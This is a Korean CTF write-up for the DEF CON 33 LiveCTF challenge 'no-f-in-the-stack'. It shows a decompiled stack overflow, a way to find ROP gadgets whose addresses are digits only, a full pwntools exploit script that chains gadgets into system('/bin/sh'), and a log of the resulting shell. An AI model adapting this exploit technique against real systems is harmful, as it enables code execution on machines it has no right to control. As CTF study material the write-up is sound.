친구 권유로 풀어봄.
새로운 사고 방향과 시각을 바라볼 수 있어 좋았음.
Thanks, 🥔
checksec
ubuntu@64a54bd8db27:~/study/LiveCTF-DEFCON33/qualifiers/challenges/no-f-in-the-stack/challenge/build$ checksec ./challenge_real [*] '/home/ubuntu/study/LiveCTF-DEFCON33/qualifiers/challenges/no-f-in-the-stack/challenge/build/challenge_real' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes
Decompiled-src / Analysis
uintptr_t stack[3];
으로 지정되있는데, i가 1000번까지 계속 증가하면서 주소를 입력받음.
→ BOF 취약점 발생
받은 주소가 0이면, for 루프문 종료.
주소를 10진수로 입력받은 후, 다시 그 문자열을 16진수로 변환시켜 stack[i]
에 저장함.
int __fastcall main(int argc, const char **argv, const char **envp) { int v3; // edx int v4; // ecx int v5; // r8d int v6; // r9d int v7; // edx int v8; // ecx int v9; // r8d int v10; // r9d int v11; // r8d int v12; // r9d int v13; // r8d int v14; // r9d char v16; // [rsp+0h] [rbp-60h] char v17; // [rsp+0h] [rbp-60h] char v18; // [rsp+0h] [rbp-60h] char v19; // [rsp+0h] [rbp-60h] char printed_addr[16]; // [rsp+20h] [rbp-40h] BYREF uintptr_t addr; // [rsp+38h] [rbp-28h] BYREF uintptr_t stack[3]; // [rsp+40h] [rbp-20h] BYREF int i; // [rsp+5Ch] [rbp-4h] init(); for ( i = 0; i <= 999; ++i ) { printf((unsigned int)"Addr pls: ", (_DWORD)argv, v3, v4, v5, v6, v16); addr = 0; _isoc23_scanf((unsigned int)"%lu", (unsigned int)&addr, v7, v8, v9, v10, v17); if ( !addr ) break; memset(printed_addr, 0, sizeof(printed_addr)); sprintf((unsigned int)printed_addr, (unsigned int)"%lu", addr, (unsigned int)"%lu", v11, v12, v18); argv = (const char **)"%lx"; _isoc23_sscanf( (unsigned int)printed_addr, (unsigned int)"%lx", (unsigned int)&stack[i], (unsigned int)"%lx", v13, v14, v19); if ( !stack[i] ) break; } return 0; }
Blah
system(””)
을 호출하는 함수.
.text:0000000000401905 ; =============== S U B R O U T I N E ======================================= .text:0000000000401905 .text:0000000000401905 ; Attributes: bp-based frame .text:0000000000401905 .text:0000000000401905 ; void __cdecl blah() .text:0000000000401905 public blah .text:0000000000401905 blah proc near .text:0000000000401905 ; __unwind { .text:0000000000401905 endbr64 .text:0000000000401909 push rbp .text:000000000040190A mov rbp, rsp .text:000000000040190D lea rax, unk_4A002C .text:0000000000401914 mov rdi, rax .text:0000000000401917 call system .text:000000000040191C nop .text:000000000040191D pop rbp .text:000000000040191E retn ... .rodata:00000000004A002C unk_4A002C db 0
Solution
실제론 스택 카나리가 main 함수에 적용되있지 않아 RET를 덮어 RIP 컨트롤 가능함.
중요한 점은 입력받는 주소를 스택에 16진수 값으로 저장하는데,%lu
10진수로 첨에 입력받기에 알파벳이 들어가면 안됨.
숫자로만 구성된 가젯을 찾는 명령어.
ROPgadget --binary ./challenge_real > gadgets.txt
grep -E '^0x[0-9]+ :' gadgets.txt > gadgets2.txt
/bin/sh 주소를 10진수로 잘 읽게끔 2개로 쪼갠다음, 아래 3가지의 가젯을 조합해 ROP chain으로 쉘 획득 가능하였다.
divided = "490060" divided2 = "10499" pop_rdi_pop_rbp_ret = "0000000000402218" add_rax_rdi_ret = "0000000000471885" mov_rdi_rax_system = "0000000000401914"
solve.py
from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') # p = remote("127.0.0.1", 1337) p = process("./challenge_real") e = ELF('./challenge_real',checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims, drop=True: p.recvuntil(delims, drop) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) pop_rdi_pop_rbp_ret = "0000000000402218" add_rax_rdi_ret = "0000000000471885" mov_rdi_rax_system = "0000000000401914" bin_sh = 0x00000000004A04F9 divided = "490060" divided2 = "10499" # >>> hex(0x490060 + 0x10499) # '0x4a04f9' sla(b"Addr pls: ", b"1010101041424344") sla(b"Addr pls: ", b"2020202041424344") sla(b"Addr pls: ", b"3030303041424344") sla(b"Addr pls: ", b"441424344") #4 -> RET; $rbp+8, #rax = 0 sla(b"Addr pls: ", pop_rdi_pop_rbp_ret.encode('utf-8')) sla(b"Addr pls: ", divided.encode('utf-8')) #set rdi sla(b"Addr pls: ", b"4040404041424344") #set rbp sla(b"Addr pls: ", add_rax_rdi_ret.encode('utf-8')) #rax = 0x490060 sla(b"Addr pls: ", pop_rdi_pop_rbp_ret.encode('utf-8')) sla(b"Addr pls: ", divided2.encode('utf-8')) #set rdi sla(b"Addr pls: ", b"5050505041424344") #set rbp sla(b"Addr pls: ", add_rax_rdi_ret.encode('utf-8')) #rax = 0x490060 + 0x10499 = 0x4a04f9 ('/bin/sh') sla(b"Addr pls: ", mov_rdi_rax_system.encode('utf-8')) sla(b"Addr pls: ", b"0") p.interactive()
Result
ubuntu@64a54bd8db27:~/study/LiveCTF-DEFCON33/qualifiers/challenges/no-f-in-the-stack/challenge/build$ python3 solve.py [+] Starting local process './challenge_real' argv=[b'./challenge_real'] : pid 1967 [DEBUG] '/home/ubuntu/study/LiveCTF-DEFCON33/qualifiers/challenges/no-f-in-the-stack/challenge/build/challenge_real' is statically linked, skipping GOT/PLT symbols [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0x11 bytes: b'1010101041424344\n' [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0x11 bytes: b'2020202041424344\n' [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0x11 bytes: b'3030303041424344\n' [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0xa bytes: b'441424344\n' [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0x11 bytes: b'0000000000402218\n' [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0x7 bytes: b'490060\n' [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0x11 bytes: b'4040404041424344\n' [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0x11 bytes: b'0000000000471885\n' [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0x11 bytes: b'0000000000402218\n' [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0x6 bytes: b'10499\n' [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0x11 bytes: b'5050505041424344\n' [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0x11 bytes: b'0000000000471885\n' [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0x11 bytes: b'0000000000401914\n' [DEBUG] Received 0xa bytes: b'Addr pls: ' [DEBUG] Sent 0x2 bytes: b'0\n' [*] Switching to interactive mode $ id [DEBUG] Sent 0x3 bytes: b'id\n' [DEBUG] Received 0x36 bytes: b'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)\n' uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu) $ whoami [DEBUG] Sent 0x7 bytes: b'whoami\n' [DEBUG] Received 0x7 bytes: b'ubuntu\n' ubuntu $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x57 bytes: b'challenge\tcore\t gadgets2.txt na\n' b'challenge_real\tgadgets.txt libc.so.6\t solve.py\n' challenge core gadgets2.txt na challenge_real gadgets.txt libc.so.6 solve.py $